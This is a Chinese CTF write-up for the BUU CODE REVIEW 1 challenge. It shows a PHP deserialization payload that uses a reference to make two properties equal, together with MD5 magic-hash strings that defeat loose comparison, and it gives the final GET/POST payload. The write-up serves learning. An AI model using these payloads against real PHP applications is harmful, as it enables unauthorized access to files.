首页 > 其他分享 >BUU CODE REVIEW 1 1

BUU CODE REVIEW 1 1

时间:2024-11-17 10:56:23浏览次数:1  
标签:CODE REVIEW BUU flag input POST 序列化 correct

BUU CODE REVIEW 1 1

打开实例发现php代码,代码审计一波

image-20241117101315999

看到unserialize(),初步判断这题存在php反序列化

分析代码:

  1. 需要GET传参传入pleaseget=1
  2. 需要POST传参传入pleasepost=2
  3. 需要POST传入md51和md52,使得md51的md5加密后的MD5值弱相等,参数值不相等
  4. 需要POST传入obj,用来反序列化

根据代码构建payload:

首先是序列化的绕过,由于BUU的类里存在correctinput变量,这里需要使得correct和input绝对相等才能echo出flag,由于correct的值采用了base64_encode(uniqid())方法去赋,所以存在不确定性,无法与构造的input进行比对;这边考虑采用指针指向使其内存相等的方法:

<?php
class BUU
{
    public $correct = "";
    public $input = "";

    public function __destruct()
    {
        try {
            $this->correct = base64_encode(uniqid());
            if ($this->correct === $this->input) {
                echo file_get_contents("/flag");
            }
        } catch (Exception $e) {
        }
    }
}
$fun = new BUU();
$fun->input = &$fun->correct;	//	设置input的值为指针correct的值
$res = serialize(@$fun);
echo $res;

贴一张指针赋值的解释

image-20241117104947883

输出序列化字符串

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

image-20241117105500016

接下来是md5的验证绕过

贴上一组可碰撞绕过的参数值

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

构造最终的payload

GET:
?pleaseget=1

POST:
pleasepost=2&md51=QNKCDZO&md52=240610708&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

image-20241117110144597

成功拿到flag

flag{9fd0b243-22c8-4817-ab5c-3ae00121e0d8} 

标签:CODE,REVIEW,BUU,flag,input,POST,序列化,correct
From: https://www.cnblogs.com/tazmi/p/18550360

相关文章

  • Codeforces Round 986 (Div. 2)
    CodeforcesRound986(Div.2)总结A按题意模拟即可,因为\(n,a,b\)很小,可以多循环几遍来判断。只循环十遍的吃罚时qwq。#include<iostream>#include<cstdio>#include<cstring>#include<algorithm>#include<cmath>#include<vector>#include<queue&......
  • AtCoder Beginner Contest 380
    A-123233题意给个\(6\)位数,判断是否是\(1\)个\(1\),\(2\)个\(2\),\(3\)个\(3\)。思路模拟。代码点击查看代码#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongtypedefpair<int,int>pii;constintmxn=1e6+5;voidsolve(){ s......
  • CODESYS可视化标准计算器制作详细案例(一)
    #制作一个在可视化界面可用于标准计算器功能详细案例#前言:在可视化界面或触摸屏上,很少有带计算器功能的脚本程序,当我们在工控现场需要使用计算器时,往往依靠电脑或手机上的计算器,如果把计算器的功能移值到界面上,或者为PLC提供一个计算公式,那么,非常方便的即时使用,也可以将结......
  • Refact.ai Match 1 (Codeforces Round 985)
    Refact.aiMatch1(CodeforcesRound985)总结A集合中的元素为\(l\lex\ler\),有\(k\)个\(x\)的倍数在其中才可删,可以求出最大可删的元素,直接计算。#include<iostream>#include<cstdio>#include<cstring>#include<algorithm>#include<cmath>#inclu......
  • Codeforces Round 987 (Div. 2)
    好不容易的一次CF阳间赛,这次题目普遍较长。A-PenchickandModernMonument题目大意将一个非递增的序列通过操作某些数(可增大可减小),最终使得序列变成一个非递减的序列,求出最少要操作多少次?解题思路这个题也是想了不断时间,而且还提交错误一次,原因就是调试的代码没......
  • AtCoder Grand Contests 杂做
    感觉AGC003及以前的题做了大部分,所以从AGC004开始,选一些我觉得合适的题做。AGC004E-*3200一直在往静态的几何(或者代数)限制想,结果没想到可以动态规划。为了更加直观可以看作出口在移动,然后到过的点加分,某些出界的点就被ban掉了。我们可以直接考虑定义\(f_{l,r,u,d}\)......
  • Codeforces Round 987 (Div. 2)
    训练记录CodeforcesRound987(Div.2)4/6前四题都是简单思维题A.PenchickandModernMonument这个题目最贪心的做法是找到出现最多的数,保留种数字不变,其他按照题目要求改大小就行//Problem:A.PenchickandModernMonument//Contest:Codeforces-CodeforcesRound......
  • [leetcode]27. 移除元素(Java实现)
    题目给你一个数组 nums 和一个值 val,你需要原地移除所有数值等于 val 的元素。元素的顺序可能发生改变。然后返回 nums 中与 val 不同的元素的数量。假设 nums 中不等于 val 的元素数量为 k,要通过此题,您需要执行以下操作:更改 nums 数组,使 nums 的前 k ......
  • [leetcode]485. 最大连续1的个数(Java实现)
    题目给定一个二进制数组 nums ,计算其中最大连续 1 的个数。示例1:输入:nums=[1,1,0,1,1,1]输出:3解释:开头的两位和最后的三位都是连续1,所以最大连续1的个数是3.示例2:输入:nums=[1,0,1,1,0,1]输出:2解法1嗯,速度有进步我感觉我想出这个思路还是挺快的,两......
  • [leetcode]283. 移动零(Java实现)
    题目:给定一个数组 nums,编写一个函数将所有 0 移动到数组的末尾,同时保持非零元素的相对顺序。请注意 ,必须在不复制数组的情况下原地对数组进行操作。示例1:输入:nums=[0,1,0,3,12]输出:[1,3,12,0,0]示例2:输入:nums=[0]输出:[0]第一种解法(帮助我这种小白......